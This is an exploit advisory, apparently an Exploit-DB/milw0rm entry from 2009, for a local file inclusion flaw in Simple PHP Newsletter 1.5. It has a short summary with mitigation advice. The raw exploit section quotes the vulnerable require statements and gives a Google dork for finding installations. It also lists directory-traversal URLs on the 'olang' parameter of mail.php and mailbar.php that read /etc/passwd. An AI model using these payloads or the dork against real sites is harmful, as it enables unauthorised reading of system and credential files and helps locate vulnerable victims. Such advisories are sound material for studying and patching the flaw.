Simple PHP Newsletter 1.5 Local File Include Vulnerability

vendor:

Simple PHP Newsletter

by:

ahmadbady

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: Simple PHP Newsletter

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: NO

Related CWE: CVE not provided

CPE: a:simple_php_newsletter:simple_php_newsletter:1.5

Other Scripts:

Platforms Tested:

2009

Simple PHP Newsletter 1.5 Local File Include Vulnerability

The Simple PHP Newsletter 1.5 script is vulnerable to local file inclusion. The vulnerability exists in the 'mail.php' and 'mailbar.php' files, where the 'olang' parameter is not properly sanitized before being used in a require statement, allowing an attacker to include arbitrary local files. By manipulating the 'olang' parameter, an attacker can include sensitive files, such as the '/etc/passwd' file, which may contain hashed passwords and other system information.

Mitigation:

To mitigate this vulnerability, ensure that user-supplied input is properly sanitized and validated before being used in file inclusion statements. Additionally, it is recommended to restrict file inclusion to a whitelist of allowed files or directories.

Source

Exploit-DB raw data:

                                   --:local file include:--
---------------------------------  
script:Simple PHP Newsletter 1.5
   
----------------------------------------------
download from:http://quirm.net/download/23/
   
----------------------------------------------

...............................................
vul:/mail.php line 11:

if(isset($olang)) 
{
require("lang/".$olang); line 11
-------------------------------------------
vul:/mailbar.php line 5:

<?php
include("config.inc.php");
if(isset($olang))
{
require("lang/".$olang); line 5
-------------------------------------------


----------------------------------------------------

dork:"Powered by Simple PHP Text newsletter"
----------------------------------------------------

xpl:

http://127.0.0.1/path/mail.php?olang=../../../../../../etc/passwd

http://127.0.0.1/path/mailbar.php?olang=../../../../../../etc/passwd

***************************************************
***************************************************
---------------------------------------------------
Author: ahmadbady [kivi_hacker666@yahoo.com]

from:[iran]
---------------------------------------------------

# milw0rm.com [2009-01-16]